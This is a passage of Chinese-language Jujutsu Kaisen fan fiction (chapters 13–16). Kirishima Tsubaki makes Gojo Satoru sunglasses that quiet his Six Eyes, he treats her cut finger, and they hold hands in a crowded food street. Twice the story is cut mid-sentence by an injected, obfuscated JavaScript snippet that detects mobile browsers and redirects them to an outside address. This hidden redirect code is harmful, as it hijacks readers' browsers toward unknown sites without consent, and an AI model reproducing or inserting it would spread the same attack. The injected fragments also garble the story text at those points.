“数学?”雾岛椿有些意外。她知道五条悟数学好得不像话,但没想到他居然会对这东西感兴趣。她自己数学也不错,但厌恶一切需要正襟危坐的学科。 一个念头闪过,她随口道:“悟的术式,似乎和数学有关?” 她坐到五条悟身边,故作沉思状,片刻后学着五条悟平时的画风打了个响指,“是因为「赫」吧?因为「赫」的成功率一直不太稳定。” “Bingo!”五条悟猛地睁开眼,打了个响指,慢悠悠地直起身,用一种“你很有眼光”的表情赞赏地看向雾岛椿,“很懂嘛,椿。” “原来你偷偷研究数学是为了这个,”夏油杰脸色一沉,手搭上五条悟的肩,暗暗用力,“居然一个人偷偷变强?” “他没躲着你,夏油,”雾岛椿语气平淡,听起来像在陈述事实,效果却堪比火上浇油,“他是在你眼皮底下光明正大地变强。” “就是就是~”五条悟立刻顺杆爬,歪头冲夏油杰露出一个极其欠揍的无辜表情,“是杰自己太笨没发现,这能怪我吗?” “哈?”夏油杰额角冒出青筋。 “悟,”雾岛椿适时打断这场即将爆发的幼稚争吵,她更好奇另一个问题,“为什么你的术式会和数学有关?”她总是听到他发动术式时念叨“无限”、“收敛”之类的词,再加上他对数学异乎寻常的精通,很难不让人产生联想。 但这联想本身听起来就有点灾难。 术式居然要和数学挂钩?她几乎要为他掬一把同情泪。 果然,五条悟一听她问这个,立刻来劲了。明明心里得意得要命,面上却还要摆出一副“既然你诚心诚意发问了我就大发慈悲告诉你”的倨傲模样。 “这个嘛……说来话长~” 他开始滔滔不绝,从芝诺悖论讲到收敛发散,从微积分讲到咒力操作的原子级精度,把“无下限术式”的原理包装得天花乱坠,复杂程度直接翻倍。 “……嘛,大概就是这样。”他扬着下巴,等着接收惊叹。 然而一抬头,发现夏油杰和家入硝子早已溜得无影无踪。 唯一剩下的听众——雾岛椿,眼神放空,显然神游天外。 五条悟不满地凑近,几乎贴到她面前,故意说,“椿是大笨蛋,对吧?” “嗯嗯,悟很厉害。”雾岛椿下意识地点头。 五条悟:“……” 五条悟:“???” 五条悟炸毛:“喂!你明显在走神吧!居然还敢点头!我的术式明明那么酷!” 雾岛椿猛地回神,意识到自己刚才点了什么头,脸颊微微发热。但看着眼前这只气得快要跳脚的白毛猫猫,她还是选择了诚实,“嗯…是有点枯燥。” “哇!”五条悟更不满了,苍蓝色的眼睛瞪得溜圆,里面写满了“不可置信”和“你快哄我”,“你没觉得超级厉害、超级有趣吗?我很受伤诶~” 他凑得极近,鼻尖几乎要碰到她,呼出的气息温热,全心全意地表达着他的委屈,丝毫没觉得这距离有什么不对。 雾岛椿一时怔住,跌入那片近在咫尺的苍蓝之中。 像天空的延展,最晴朗的天空,无边无际,是她从小到大见过最多的、象征着自由的色彩。 “椿?”见她迟迟不语,五条悟不满地催促。 雾岛椿瞳孔微缩,回过神来。 她不动声色地向后倾了倾,拉开一点距离,忽然问了一个风马牛不相及的问题,“悟,会觉得「六眼」是负担吗?” “嗯?”五条悟被她问得一愣,歪了歪头,“为什么这么问?有时候是觉得有点吵啦,特别是想专心吃喜久福的时候。不过,如果这是获得力量、成为最强必须附带的‘诅咒’,那我完全OK哦~” 他扯出一个大大咧咧、没心没肺的笑,试图驱散那点突如其来的认真,“放心啦!不过是一台永不停歇的超级分析仪罢了,处理它带来的那点信息,对我来说就像呼吸一样简单!” 真的吗? 只是有点吵? 只是影响吃喜久福? 处理那些海量信息真的像呼吸一样简单? 他好奇怪。 平时明明挨了夜蛾一拳都要嚎半天,吃不到想要的甜品也能撅着嘴嚷嚷好久,明明是个一点委屈都不肯受、一点不顺心就要闹腾的娇气大少爷。 偏偏在面对这日日夜夜灼烧他大脑、片刻不得安宁的「六眼」时,摆出一副全然无所谓的样子,把最深重 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造型极其奇特——一副镜片硕大、浑圆的黑色墨镜,镜腿是温润的深色灵木,上面雕刻着细密到几乎无法用肉眼辨识的咒纹,此刻正散发着极淡的、能让人心神宁静的波动。 五条悟的注意力被吸引了过去。他拿起墨镜,在手里转了一圈,语气恢复了往常的戏谑,“哇哦,椿,这是什么?新的时尚灾难吗?戴上它我可以去公园门口摆摊算命了。” 雾岛椿没有在意他的调侃。她只是微微摇了摇头,声音轻而平静,听不出任何波澜,仿佛在陈述一个与己无关的事实,“它应该能一定程度上隔绝掉‘六眼’接收的大部分冗余视觉信息。或许……能让你休息得好一点哦。” 她没有看他,目光落在窗外,语气平淡得像是在读说明书,“我以前生病睡不着,每当这个时候我母亲就会为我抚上一首安魂曲,那段时间,也只有那个声音能盖掉一些……夜里其他的声音。” 她没有说“其他的声音”是什么。 是痛苦的呻吟?仪器的滴答?还是她自己病痛带来的幻觉与耳鸣?她一句都没多解释,只是轻描淡写地提了这么一个微不足道的、关于别人的细节。 “所以,不管悟怎么说,我也知道,睡不着是一件多么煎熬的事。” 明明身体早已发出求救信号,早已疲惫不堪,大脑却无比清晰地铭记着内脏带来的痛苦。闭着眼睛,身体娇弱到连翻来覆去都做不到,等不到解脱,也等不到新生,只能在无尽的黑暗中,无数次被灼烧。 于是,在听到夜蛾老师讲解咒具那一堂课时,雾岛椿觉得自己应该可以做到。 尽自己所能,回馈五条悟对她的一切不求回报的关照。 五条悟把玩着墨镜的动作停顿了。 他脸上的嬉笑慢慢收敛,透过自己那副小墨镜,他沉默地看了雾岛椿几秒。他敏锐地察觉到了那轻描淡写的话语背后,被死死封存的、沉重的过往。 “椿你可真是细心啊。”他先是夸奖雾岛椿的关心,随后又嘴硬道,“但是我都说了区区‘六眼’对我根本没什么太大的影响,我才没那么弱!” “不过……” 他忽然笑了,不是平时那种嚣张放肆的大笑,而是一个更简单、更真实的笑容。 “还是谢啦。” 他没有多问一句。只是干脆地换上了那副“二胡艺术家”同款。 世界,在刹那间安静了。 14.贴心 那永无止境的、庞杂的信息洪流,第一次被真正地、有效地隔绝了相当大的一部分。一种近乎陌生的宁静感包裹了他。 “哇!”他发出一声真心实意的惊叹,猛地凑到雾岛椿面前,新墨镜几乎要怼到对方脸上,“超厉害啊椿!这玩意真的有用!夜蛾的数学课有救了!” “而且咒具超难做的哇,椿你简直是个全能天才啊!” 五条悟是真的为她感到惊喜,因为咒具向来是那些传承百年的专业家族、或是力量可怖的诅咒师与特级术师的领域。 听着他毫不作伪的夸奖,雾岛椿的嘴角几不可查地弯了一下,又迅速恢复平静,“……有用就好。” “我要拿去跟杰和硝子炫耀!”五条悟顶着一副与他时尚潮人形象截然不同的、复古又滑稽的圆片墨镜,双手插兜,吹着口哨晃出了教室,脚步轻快。 雾岛椿看着他的背影,直到前方传来五条悟的叫喊,他让她快点跟上来。她放在口袋里的手轻轻松开,什么也没说,抬脚跟在他身后。 高专的石头路上,五条悟几乎是把雾岛椿当成了一个移动展示架,围着她叽叽喳喳地说个不停。他鼻梁上架着那副颇具喜剧效果的圆形墨镜,脑袋晃来晃去。 “杰那家伙绝对会吓一跳!硝子肯定又要说些超——扫兴的话,不过没关系,最强就算戴这种眼镜也是最潮的!” “啊,不过晚上戴好像更清楚一点?喂喂椿,你这咒具的阈值是怎么设定的?是靠咒力总量自动调节还是……” “说起来夜蛾刚才的表情你看到了吗?他那个眉毛,都快飞到发际线里去了哈哈哈——” “我就是偶尔坚持不住才会在他的课上睡着,那家伙至于这么生气吗?” 雾岛椿只是安静地走在他身侧,偶尔在他问到时轻轻“嗯”一声,大部分时间只是听着他活力过剩的独白,唇角带着一丝不易察觉的、温和的弧度。 他的声音忽然戛然而止。 毫无预兆地,五条悟猛地凑近她,那张戴着滑稽圆墨镜的帅脸瞬间在她眼前放大。虽然镜片颜色很深,但雾岛椿几乎能感觉到后面那双“六眼”正以惊人的精度聚焦。 她下意识地停住脚步,微微屏息。 五条悟没有说话,他只是伸出手,指尖悬停在她放在身侧的手上方——那里有一道不算起眼、但绝对新鲜的划伤,是昨晚打磨咒具镜腿时被灵木碎片迸溅划出的口子。 她以为自己隐藏得很好。 “在这里等我。” 他的语气瞬间变了,不再是那种嬉闹的、上扬的语调,而是一种短促、平静、不容置疑的命令。 没等雾岛椿反应过来,他甚至没有使用术式,只是转身快步走向走廊另一头的医疗室方向,高大的背影很快消失在转角。 雾岛椿愣在原地,看着他消失的方向,又低头看了看自己手上那道伤痕,一时有些无措。 只是一道很小的伤口,上面的血早已干涸,她甚至还没来得及感受疼痛。这样的伤口经常会出现在她的日常训练中,很不起眼,甚至很快就会结痂,放任不管没有任何问题。 却让他露出了自己从没有见过的一面。 没过两分钟,几乎是喘口气的功夫,他就回来了。手里拿着一个印着卡通图案的创可贴和一小瓶消毒液。 他在她面前蹲下来,动作有点笨拙地拧开消毒液的盖子。 “手。”他言简意赅。 “悟,我自己可以……”雾岛椿看着上面那个可爱的卡通图案,不是很符合她的风格,她向后缩了缩,想把手藏到身后。 “手给我。”他重复了一遍,语气没什么波澜,却带着一种奇异的压迫感。 她迟疑了一下,慢慢伸出手。 算了,也没人会注意她用了多么可爱的创口贴。 五条悟低着头,用棉签蘸取消毒液,小心翼翼地涂抹在那道伤口上。他的动作与他平时大开大合的风格截然不同,甚至称得上有点过分仔细和轻柔。戴着那副圆墨镜,让他此刻认真的侧脸看起来有点好笑,又有点莫名的……温柔。 “真是的……做这种东西也会受伤吗?”他一边贴着创可贴,一边低声嘟囔,听起来像是在抱怨,“‘六眼’可是看得一清二楚啊,这种小把戏。” “你以为这仅仅只是小伤口吗?或许放在以前是,可现在,它可是带了咒力残秽的,这是一件‘咒力污染’事件,给我好好重视起来啊!”消毒完,五条悟又用自身咒力包裹着她的手指,进行清创。 “能做出咒具只能证明你很有天赋,可不能证明你不是肉体凡胎哦~”五条悟扶了扶快要滑落鼻梁的墨镜,露出蓝色眼睛,里面闪着一点微光,似威胁,“要好好保护你那肉体凡胎才行啊,可别死在我之前,椿。” 天赋吗? 雾岛椿微微垂下眼帘,掩住了眼里的思绪。她现在可以确定,她的术式强度与她“想要实现某事”的决绝程度死死绑定。 就像上次那只咒灵。因为内心对“祓除”本身存有一丝无谓的犹疑,术式的屏障便脆弱得可笑,轻易就被那只因“窗”的失误而错估了等级的咒灵撕开。 而在制作咒具时,她将所有犹豫、恐惧和自我都摒除在外,只剩下“必须完成”的纯粹念头,让这份凡胎□□,短暂地触碰到那个领域的边缘。 她还是没摸透,自己的这个术式,这份虚无缥缈的决心,还有五条悟口中的所谓“情绪”,应该如何掌握,才能完全为她所用。 成为像他一样的强者,他的目光就永远会分一束落在她的身上了吧。 “呜哇!笑得有点可怕呢,椿。”五条悟抬头便将她嘴角那抹可疑的微笑收入眼底,没忍住调侃道,“不会是在想找机会把我暗杀掉,好为你受伤的手指报仇吧?” 雾岛椿:“……” “没有。”虽然有些无语,雾岛椿还是认真回道。 五条悟本来也是开玩笑的,并不在意她怎么回。他继续贴好创可贴,还用指尖轻轻按了按边缘,确保它完全贴合。然后,他抬起头,透过那副圆墨镜看着她。 瞬间,那种短暂的、异常认真的氛围消失了,他又变回了那个嚣张的白毛猫猫。 “好啦!”他跳起来,得意地推了推鼻梁上的新墨镜,“这样就更完美了!走吧!去找杰和硝子!让他们见识一下最强的新装备和……咳,和最体贴的椿的关怀!” 他仿佛只是为了给自己的突然行动找个合理的、符合他风格的注解,然后立刻又恢复了那副叽叽喳喳的样子,仿佛刚才那段插曲从未发生。 但雾岛椿看着手指上那个被仔细贴好的、有点幼稚的卡通创可贴,再看着前方那个重新变得吵闹起来的背影,轻轻握了握手。 那一点消毒液的冰凉感和创可贴的包裹感,异常清晰。 休息室外。 五条悟几乎是用脚踹开了休息室的门,身体以一种极度浮夸的姿态倚在门框上,手指推了推鼻梁上那副圆得离谱的墨镜。 “噔噔噔噔——!各位观众!见证历史性的时刻!最强の新形象!” 家入硝子正窝在沙发里翻看医学杂志,头都懒得抬,只是从鼻腔里发出一声意味不明的,“哼。” 夏油杰坐在对面,手里端着一杯茶,看到那副墨镜的造型,温和的笑容瞬间凝固,嘴角微妙地抽搐了一下,“悟,你……这是终于因为糖分摄入过度 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16441316|184871||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,导致审美彻底崩坏了吗?” “哈?杰你懂什么!”五条悟一个瞬移闪到夏油杰面前,几乎把墨镜怼到他脸上,“这可是特制咒具!能隔绝‘六眼’杂音的超级发明!比你那些长得奇形怪状的咒灵好看实用一万倍!” “哦?”夏油杰微微后仰,避开几乎要戳到眼睛的镜框,挑眉,“能让你安静点的东西?那倒是功德无量。”语气里带着熟悉的揶揄。 硝子终于放下了杂志,眯着眼打量了一下,“看起来像是从哪个路边摊淘来的劣质玩具。你终于穷到这种地步了?需要我介绍精神科医生给你吗?” “你们这是赤裸裸的嫉妒!”五条悟大声宣布,转而一把拉过安静跟在身后、试图降低存在感的雾岛椿,“是椿!是椿给我做的!羡慕吧?你们没有吧?这样贴心又手艺好的椿~只有最强的我才配拥有!” 瞬间,夏油杰和硝子的目光都聚焦到了雾岛椿身上。 硝子的眼神里多了点玩味和审视:“你做的?” 夏油杰则恢复了狐狸般的笑容:“雾岛同学吗?真是令人惊讶。能搞定悟的‘六眼’问题,这可不是普通的咒具水准啊。” 雾岛椿被这突如其来的关注弄得有些不知所措,微微低下头,“……只是上次夜蛾老师讲到了,就想尝试一下,不知道能不能帮上悟。” “超——有用哦!”五条悟抢白,手臂很自然地搭在雾岛椿的肩膀上,把她当成一个展示成果的荣誉奖杯,“现在看夜蛾那张总是苦大仇深的脸都清晰多了!重点是,超——舒服!” 就在这时,夏油杰那双细长的眼睛敏锐地捕捉到了雾岛椿手指上那个崭新的、印着幼稚卡通图案的创可贴。他又看了看五条悟那副得意忘形的样子,瞬间明白了什么。 他啜了口茶,语气变得更加意味深长,笑容也更深了:“原来如此。不仅是咒具,还附赠了‘贴心医护服务’啊。悟,你这份‘谢礼’,是不是太轻浮了点?”他的目光意有所指地扫过五条悟搭在椿肩上的手和那枚创可贴。 五条悟瞬间有点炸毛,像被踩了尾巴的猫,“要你管!杰你就是嫉妒!赤裸裸的嫉妒!椿,我们走!不跟没受到礼物的人一般见识!” 他咋咋呼呼地,几乎是推着雾岛椿往外走,仿佛要逃离夏油杰那看穿一切的笑容和硝子仿佛在做临床观察的冷漠目光。 门砰地一声关上。 休息室里恢复了安静。 硝子重新拿起杂志,淡淡地飘出一句,“败犬的狂吠。” 夏油杰笑着摇头,端起已经微凉的茶,“不过,能让他那么高兴,甚至注意到了平时根本不会在意的小细节……那副眼镜,或许真的有点特别。” 而且,咒具……夏油杰的眼睛微眯,眼眸微闪。 雾岛那家伙已经这么强了吗? 他也得努力才行啊,不能被他们抛下。 “啊。”硝子应了一声,语气依旧没什么起伏,“毕竟,能让那个‘六眼’安静下来的东西,本身就不简单。至于做东西的人……” 她没再说下去,但意思不言而喻。 门外,五条悟的嚷嚷声还在走廊里回荡:“今晚就去吃最高级的草莓蛋糕庆祝!我请客!” 少女的声音也在这时响起:“悟都说了请我吃,还要选自己爱吃的,也太狡猾了吧?” “啊——明明是你自己说你没什么爱吃的啊,那我们去吃黄油土豆?” “可丽饼?” “这些也是悟最爱吃的吧。” 声音渐行渐远,夏油杰和硝子对视一眼,都在对方眼里看到了同样的想法: 那家伙,心情不是一般的好啊。 。 15.牵手 初秋的休息日,商业街人群熙攘。五条悟靠在甜品店门口,一身潮牌卫衣和牛仔裤,白得耀眼的头发和那张过分好看的脸引得路人频频回头。 他正低头戳着手机催促另外两人,一抬眼,就看见雾岛椿安静地穿过人群,向他走来。 她身着淡紫色的层叠和服,步履优雅,与周围休闲的氛围格格不入,像一幅会移动的古典画。 五条悟几乎是立刻皱起了眉,墨镜滑到鼻梁,那双苍蓝色的眼睛只是随意看了一眼就露出疑惑的表情。 “喂喂椿,我是特意约你出来吃东西的欸!”他站直身体,手指隔空点了点她一丝不苟的领口和束紧的腰带,“穿成这样你能放开吃吗?会很勒的吧,吃撑了会很难受的哦。” 雾岛椿微微垂下眼帘,声音平静无波,“这是我的日常穿着。” 五条悟忽然想起什么,于是从钱包里掏出一张卡,很自然地递给她,“诺,可以稍微买点适合出来逛街的衣服啦。” 雾岛椿从来没见过这么豪爽的人,她傻站在原地,一时竟然忘了回话。 五条悟以为她放不下面子,挑眉道,“椿你该不会是在害怕我没钱吧?放心啦,你买再多我卡里都不会少一个零的。” 明明是好心,从他嘴里说出来却像是在炫富,也只有这个时候,椿才会有那么一瞬间想起他那贵族少爷的身份。 这份用“炫耀”精心包装的真心让她有些想笑。 同时,她又很享受这份暗藏的体贴,甚至有一瞬间想占有这张专属于他的卡,但她还是摇了摇头,“谢谢悟。” “不过,我自己能买,但高专制服我穿不习惯,其他的应该更不会喜欢。” 能买,但她不想买,对现下潮流的衣服款式提不起丝毫兴趣。 她很享受和服层层包裹带来的桎梏感,会让人不自觉挺直背,收拢手臂,缩小步伐,让她有一种“被塑造”的安心感。 只有这样,她才能够确认,自己时刻保持着精致和优雅。 层层叠叠的布料让她不必直面那个无所适从的自己。 “哈啊?还没试过你就断言自己不会喜欢吗?”五条悟拖长了语调,一脸“你骗鬼呢”的表情,显然不信。 “算了,你开心就好。”他撇撇嘴,算是暂时放过了这个话题,随即又兴致勃勃地掏出钱包,在指尖转了一圈,“走!我先带你去吃好吃的——刚出炉的黄油土豆,超——级香!” 正要出发时手机响起,他看了一眼,没好气地接起来,“摩西摩西?……啊?堵在路上了?那我们先去买了,等会儿在之前常去的那家甜品店集合。” 挂了电话,他对着雾岛椿耸耸肩,语气带着点嫌弃又有点得意,“杰和硝子那两个家伙,说路上堵了,非要来蹭吃蹭喝就算了,还耽误时间,真是麻烦。” “嘛~不管他们了,走吧,我们先去吃。” 他迈开长腿,很快发现雾岛椿被落在身后。五条悟不着痕迹地放慢脚步,配合着她小步调的节奏。雾岛椿察觉到他体贴的迁就,手指无意识地在和服袖口上收紧。 她想说自己能跟上,不必管她,但和服下摆紧紧束缚着她的步伐。她暗自吸了口气,加快脚步,想让自己尽可能再快点。 “椿。” 听见呼喊,她下意识停下脚步,还没来得及询问,紧接着耳边就传来一阵欠揍的笑声。 她抬眼,只见高她一头的白毛少年此刻笑弯了腰,嘴里还不忘挑衅,“哈哈,身高这种东西是一开始就被设定好的,腿短点就短点嘛,不要妄图挣扎了啦,椿。” “看起来真的很滑稽欸!”他抬起手象征性地擦了擦墨镜下不存在的眼泪。 “啊?” 他突然的笑声让雾岛椿有些不明所以,之前产生的愧疚感也随着笑声消散。 仅一秒,她便反应过来,不甘心地回怼道,“腿长了不起啊,还不是得乖乖陪我一起以蜗牛爬。” “这是什么不得了的事吗?陪你就陪你,黄油土豆又不会长腿跑了。” 五条悟无所谓地说着,慢悠悠地引领着她往前方走去。 几分钟后。 “小……吃街?” 雾岛椿怔在原地,望着眼前汹涌的人潮。声浪、热气、各种食物混杂的气味,像一堵无形的墙扑面而来,将她与那个熟悉、安静、压抑的世界彻底隔开。 “哦?椿没来过吗?”五条悟对她的震惊感到新奇。 她轻轻摇头,目光仍带着些许茫然:“原来,黄油土豆是这里面的食物?” “啊,椿不会是没吃过吧?” “……我想试试。”她低声说,语气里带着一种下定决心的微颤。这是她以前从未踏足过的,属于“外面”的世界。 “超——好吃的!放心,入股不亏哦!”五条悟笑着,迈开长腿便融入了人流。 雾岛椿目光紧锁五条悟的背影,跟上去。然而,仅仅几步,和服的束缚感便在推搡中变得无比清晰。木屐不便,衣摆沉重,紧紧束着的腰带让她呼吸本就困难,此刻在浑浊的热浪里更是雪上加霜。 在不小心撞到路人道歉后,再抬头,那片醒目的白色已从视野里消失。 他不见了。 这个认知像冰锥刺入脊椎。 一瞬间,所有的声音——商贩的叫卖、游客的谈笑,都扭曲成了尖锐的嗡鸣。无数陌生的身体从四面八方挤过来,推着她,撞着她。和服繁复的布料包裹着她,不再是优雅的象征,而是沉重的、让她无法挣脱的茧。 汗水沿着鬓角滑落,背脊一片湿冷,让她分不清是热是冷。空气黏稠得如同浸水的棉絮,堵在口鼻之间,每一次吸气都无比艰难。 视野里的灯火和面孔开始旋转、模糊,像被打湿的油彩画,只剩下令人晕眩的色块。 她就像是被人刻意丢弃在大街上的孩子一样,茫然失措,孤零零地站在人流量中心。 好想逃离,但她的腿就像被灌了铅一样,抬不起来。 突然,一只骨节分明、温暖干燥的手,精准地覆上了她冰凉的手背。 那触感带着不容置疑的力量,却又在收拢指尖时透出难以言喻的珍重。属于少年的手掌宽大,能将她纤细的手完全包裹。他指腹有常年结印留下的薄茧,摩挲过她肌肤时带来奇异的安定感。 所有的喧嚣仿佛被按下了静止键。 她被人从身后轻轻一拉,跌跌撞撞地跟着走动,不知道过去了多久,脚步停下,世界也重新变得清晰。 雾岛椿恍惚抬头,对上那双低垂的苍蓝色眼眸,还有…… 那张略显严肃的脸。 “好了,捉迷藏游戏结束——”五条悟弯腰与她平视,墨镜后的蓝眼睛闪着狡黠的光,“是我赢啦!” “我说啊,椿心真大,这种地方一旦走散那可是超难找的!但既然被我找到了,那就乖乖认输吧!” 五条悟嘴角勾着惯有的、嚣张又随意的笑,嘴里说着抱怨的话,彷佛刚刚那一瞬间的严肃只是她看错了眼。 雾岛椿没有理会他的控诉,低头看向他的手,此刻还包裹着自己。 “啊,抱歉抱歉~”五条悟立马抽回了手。 他只是觉得刚刚那种情况,再不赶紧抓她出来,这家伙就要溺死在里面了。 “对不起。”雾岛椿下意识道歉,如果她今天不穿和服就好了。 “哇!椿真的是,这点小事也要道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16444902|184871||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 歉吗?”五条悟挑眉,“不怪你啦,今天似乎有什么活动,人比平时多个一两倍,真的好挤。” “都是因为我没提前跟你说,椿肯定没猜到是在室外吧?” 少年习惯性地将所有责任揽在自己身上。 “悟怎么找到我的?” “超——简单!我一眼望过去就捕捉到椿独特的穿搭了。”五条悟开玩笑道,“说起来还得感谢椿穿的太过于显眼,不然就算有六眼,要找到你也得花点功夫。” “谢谢悟,愿意找我。”雾岛椿低垂着眼,声音很低却格外清晰。 她双手交叠在腹前,低着头,整个人完全暴露在五条悟的视野中。 精致的装扮此刻因为先前的拥挤早已面目全非,精心打理的盘发也有些松垮,刘海变得有些湿漉漉。 她嘴唇紧抿着,似乎,很不安。 看来吓得不轻。 五条悟毫无知觉地伸出手,想要揉一揉她的脑袋,却被下意识躲开。他手指在空中顿了顿,随即转了个方向指向前方的小吃摊,“好啦,卖黄油土豆的就在前面,我们快过去吧。” 他转身向前走,又意识到什么,迈出去的腿收了回来,抬眼示意,“这次特许你抓住我的袖子。” 雾岛椿看着那片晃动的衣角,没动。 五条悟催促道:“虽然我也想和你玩捉迷藏,但现在当务之急是黄油土豆啦。” 她的脑袋依旧低垂着,让人看不清她的神情。 不知怎么,五条悟心一动,突然恶趣味上来,“怎么?难道还想让我牵你?” “嗯。”她仰起脸,眼神认真得让人无法回避,“可以吗?” 这一次她答的很快,像是一直在等待着这句话。 五条悟罕见地顿住了。 他有种自己被暗算了的不妙感。 少女的手不知何时已经抬起,此刻正悬在半空,指尖微微发颤。那双手白皙得近乎透明,能看见淡青色的血管,在喧嚣人群中脆弱得像是稍纵即逝的初雪。 他忽然想起刚才握住她时的触感——冰冷,柔软,仿佛用力一些就会碎裂。 “我、最强的手是可以随便牵的吗?”他强装镇定,声音却不自觉放轻。 “那我的实力目前只有悟的三分之二,”雾岛椿向前一步,轻声说,“可以只牵三分之二吗?” 她抬着的手缓缓靠近,小心翼翼地用指尖勾住他垂在身侧的三根手指。 这个克制的触碰让五条悟呼吸一滞。他从未想过有人会用计算术式比例的方式,来讨要一个牵手。少女的指尖依旧冰凉,却在他皮肤上点燃了陌生的温度。 他思绪有一些乱,手指上传来的温热的触感让他忍不住想抽离,可一想到她“走丢”后一个人处在热闹喧嚣的街中心时那失魂落魄的表情,竟然生出几分不忍心。 “行啊,谁让你是我亲口承认的强者,不过——”他别过发烫的耳根,拉着她往前走,“最强的手可不会让你白牵,待会黄油土豆要分我一口作为报酬!” 他用的命令语气,此刻听在雾岛椿耳朵里却像是在隔靴搔痒的撒娇。 “好。” 雾岛椿轻声应答,目光落在交握的手上。他掌心的温度正源源不断地传来,驱散了记忆中所有的寒意。这份温暖太过奢侈,让她忍不住收拢指尖,像是要将这个瞬间永远镌刻在生命里。 五条悟感受着指尖传来的细微力道,不自觉地开始嚷嚷,“土豆——土豆——,好吃的黄油土豆。” 雀跃的声音,期待的高昂音调,他满心满眼似乎都只有黄油土豆。 雾岛椿看着她手里好不容易紧抓住的手指,心底掠过一丝难以言说的失落。 16.吵闹 没多久,五条悟停下脚步,发出欢快的呼声,“呜哇!到了到了。” 他轻轻挣脱手指间传来的束缚,长腿一迈朝着摊位走去。 手心温热的触感转瞬即逝,雾岛椿垂眸,盯着自己空空如也的手。 “椿——!快点啊!” 她抬眼望去,五条悟已经站在店铺旁,侧着头似乎正在跟老板说些什么,他朝着她的方向挥手,嘴边咧着灿烂的笑容。 来不及细细回味,她随便整理了一下衣着,抬脚向前走。 店铺很小,台面上放着各式各样的材料,或许是因为活动的原因,生意很火爆。排着两条队伍——左边取餐,右边点餐。点好餐的五条悟很自然地站回队伍末尾,朝她眨了眨眼。 “椿是不是觉得超级吵?”他俯身凑近。 头顶传来熟悉的声音,雾岛椿微微仰着头,对上他带着探究的视线,“还行,只是不习惯,不过要是黄油土豆真的有那么好吃的话,我也可以习惯一下。” 她的语气中难得带有一点调侃,脸上浮出了属于她这个年纪应有的灵动,如果夏油杰和家入硝子也在的话,就会发现她此刻的表情竟与条悟在某些时刻有些相似。 “真的吗?不趁现在抱怨一下的话,等会儿吃过黄油土豆之后就没机会了哦。”他紧握拳头,振振有词道,“毕竟黄油土豆可是世界上最好吃的食物之一!” “所以你有什么话最好现在就说出来。” 雾岛椿确实不喜欢人多的地方,周围纷乱的声音会让她陷入莫名其妙的恐慌,心脏也会加快节奏的跳动。 可是……周围有个更吵闹的人,他在身边的时候,耳边就只剩下独属于他那晴朗独特的嗓音。 所以,她并没有在说谎。 “你觉得我会有什么话?”雾岛椿似笑非笑地看着他。 “什么‘悟也太不靠谱了,都不提前说一声’还有‘悟就知道选自己喜欢吃的,都不考虑一下别人’啊之类的。”五条悟故意捏着嗓子模仿着,表情夸张。 看着他张牙舞爪的样子,雾岛椿忍俊不禁,“这样的话,跟我平时的作风有点不符吧?” “而且,是我自己说的没什么爱吃的东西,让你安排,这样说倒显得我得了便宜还卖乖了。” “真的没意见?其实有意见也没关系。”他追问。 雾岛椿盯着他的眼睛,正思索着他今天是不是出了什么问题。难道是因为看出了她的心不在焉和对这个地方的紧绷感? 她嘴唇微动,刚要开口,就听见他用着略微欠揍的语调说着: “反正我也不会听,嘿嘿~” “……” 还是这样更像他。 “哦,好了。”五条悟从老板手里接过热腾腾的纸袋,顺手递给了她一份。 雾岛椿感受着手里的温度,土豆的香味扑面而来,她张嘴小口小口地品尝着。 “怎么样?”五条悟已经塞了满嘴,鼓着腮帮子,眼睛一眨一眨,期待地看着她。 “很好吃。”她满足地点头,注意到他手里还有一份,“这是给夏油和硝子的?” “没错~不过他们已经完美失去了享受黄油土豆时最大的乐趣了,残念~”他拖长语调,语气惋惜。 “最大乐趣是?” “当然是这样站在热闹的人群里边逛边吃啊!超有烟火气的!” “悟不觉得吵吗?” “当然吵啊,但我还是喜——”话音未落,他被人从身后猛地一撞,手中的土豆“啪嗒”落地。 “喂——”五条悟怒气冲冲地转过身,撞到他的小孩子不仅毫无歉意,在一旁嬉戏奔跑着,后方传来一个女人的呵斥声。 他一把揪住小孩的后颈的衣服,将他提溜起来,“小屁孩,你撞到人了不知道吗?” “道歉!” “放开我。”小孩一直在五条悟手里挣扎着,一脸不服,“再不放等我妈妈来了要你好看!” “挺嚣张啊?” 这时一位提着炒栗子的妇女匆忙挤过来,见状连连鞠躬,“对不起对不起!孩子太调皮了……” 五条悟松开手,小孩立刻躲到母亲身后做鬼脸,“略略略~” “哈?你这臭小鬼!” “真的非常不好意思,我替他向你道歉了。”女人一边捂住儿子的嘴,再次弯腰鞠躬。 “啧,算了。”五条悟见状摆摆手,没有多就纠结,“我大人有大量不跟小鬼计较。” 这句话如同赦免令,女人听见之后连声道谢,然后拉着孩子离开。 雾岛椿仰头看他,嘴角弯起戏谑的弧度,“现在还喜欢吗?” “说什么胡话?”五条悟睨了她一眼,“喜欢没那么肤浅,因为这么一点小事就改变的话,那是弱者的行为。” 丢下这句话,他便转身找老板要了打扫的工具。 望着地上那个还没吃完的黄油土豆,他皱着眉,嘴里抱怨着,“啊啊,今天真倒霉,麻烦透了。” “可恶,浪费粮食可是很可耻的!”他边打扫边嚷嚷着,“我还没吃够呢……” 将地上清理干净后,他才直起身,再次走向摊位。 